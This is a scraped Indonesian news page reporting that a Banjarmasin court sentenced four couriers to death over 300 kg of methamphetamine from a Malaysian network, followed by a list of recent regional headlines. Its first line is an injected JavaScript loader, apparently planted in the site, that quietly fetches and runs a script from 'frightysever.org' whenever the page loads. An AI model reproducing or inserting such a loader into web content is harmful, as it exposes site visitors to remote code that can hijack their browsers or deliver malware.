(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

4 Terdakwa Divonis Mati PN Banjarmasin, Kasus Sabu 300 Kg Jaringan Internasional


KANALKALIMANTAN.COM, BANJARMASIN – Empat terdakwa kasus penyalahgunaan narkoba jaringan internasional Malaysia, divonis hukuman mati oleh Majelis Hakim Pengadilan Negeri (PN) Banjarmasin, Kamis (25/3/2021) siang.

Persidangan dilaksanakan secara virtual, sementara empat terdakwa duduk di ruang Tahti Polda Kalsel. Majelis hakim yang diketuai oleh Aris Bawono Lenggang dan didampingi dua hakim anggota membacakan putusan dari Pengadilan Negeri Kota Banjarmasin.

Dari pantauan Kanalkalimantan.com, para terdakwa didampingi penasehat hukumnya dari kantor hukum pengacara Ernawati dan Arbain.

Empat terdakwa yakni Sutrianto alias Tri, Anggi Yuvi Ariesta alias Anggi, Muhammad Rizky Rahmadani Febrianto alias Dani dan Andika Prasetyanto alias Dika. Mereka dituntut JPU Jainah agar majelis hakim menjatuhkan vonis pidana mati.

 

Untuk diketahui, empat terdakwa merupakan warga Kalsel dan Kaltim. Seperti Tri merupakan warga Desa Sukamaju RT 004/ RW 001 Kecamatan Sampanahan, Kotabaru dan Anggi, warga Desa Sukamaju.

Sedangkan, dua terdakwa lainnya Dani dan Dika merupakan warga Balikpapan, Kalimantan Timur. Mereka berhasil dibekuk oleh tim gabungan dari Mabes Polri dan Polda Kalsel pada awal Agustus 2020 silam, di depan halaman Hotel Sienna Inn di Banjarmasin.

Baca juga: Kulkas Korsleting, Empat Toko di Martapura Ludes Dilalap Api

Dalam dakwaan sebelumnya, JPU mengungkapkan empat terdakwa ini merupakan bagian dari sindikat narkoba internasional dari pengembangan kasus sebelumnya.

Yakni pada 2019 dengan barang bukti dari 1,8 kilogram hingga 208 kilogram, serta berlanjut dari sabu 7 kilogram, hingga terbesar 300 kilogram lebih. Jaringan Narkoba besar itu bagian dari sindikat internasional Malaysia-Kaltara-Kaltim-Kalsel.

Perbuatan empat terdakwa yang masing-masing sebagai kurir sabu seberat 308,25 kilogram sabu atau berat bersih 300 kilogram narkotika Golongan I ini terbukti telah melawan hukum.

JPU Jainah menilai secara sah dan menyakinkan para terdakwa ini terbukti melanggar dakwaan primer yakni Pasal 132 ayat (1) jo Pasal 114 ayat (2) UU RI Nomor 35 Tahun 2009 tentang Narkotika, yang mengandung unsur permufakatan jahat dalam menjual atau menjadi perantara transaksi narkoba yang melawan hukum.

Baca juga: Buntut ‘Babak Kedua’ Pilgub Kalsel di 5 Kecamatan, Komisioner KPU Banjar Didesak Mundur!

Arbain, Kuasa Hukum Terdakwa mengatakan, kalau pihaknya merasa kecewa dengan keputusan hakim atas vonis mati yang diberikan kepada para terdakwa.

“Karena menurut kami Majelis Hakim telah mengenyampingkan bagaimana keberatan kami dalam pledoi. Yang mana, jelas-jelas nyata tempat pidana tersebut, dilakukan di daerah Kaltara,” ujar Arbain, kepada awak media, usai menjalani proses persidangan.

Oleh karena itu, pihaknya menyampaikan kepada majelis hakim, untuk mengambil langkah pikir-pikir terlebih dahulu untuk menyikapi keputusan ini.

“Insyaallah kami akan mengusahakan banding paling lambat tujuh hari setelah keputusan hari ini,” pungkas Arbain. (kanalkalimantan.com/tius)

Reporter: tius
Editor : bie


Al Ghifari

Recent Posts

Wabup Kapuas Kunjungi Kecamatan Kapuas Hulu dan Mandau Talawang

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo bersama jajaran menempuh jalur sungai dan darat… Read More

2 jam ago

Unjuk Rasa di HSU, GOSTI: Berikan Jabatan ke Orang yang Bertanggung Jawab

‎KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More

3 jam ago

Pesan Edukatif Street Art Dakwah South Borneo Lewat Mural dan Grafiti

KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More

4 jam ago

Unjuk Rasa di Halaman DPRD HSU

KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More

4 jam ago

Wabup Balangan Serahkan Beasiswa Program KBP ke 1.511 Pelajar

KANALKALIMANTAN.COM, PARINGIN - Wakil Bupati (Wabup) Balangan, Akhmad Fauzi, menyerahkan beasiswa program Kartu Balangan Pintar… Read More

5 jam ago

DKISP Banjar Gelar Penandatanganan Pakta Integritas

KANALKALIMANTAN.COM, MARTAPURA – Kepala Dinas Komunikasi, Informatika, Statistik, dan Persandian (DKISP) Kabupaten Banjar HM Aidil… Read More

5 jam ago

This website uses cookies.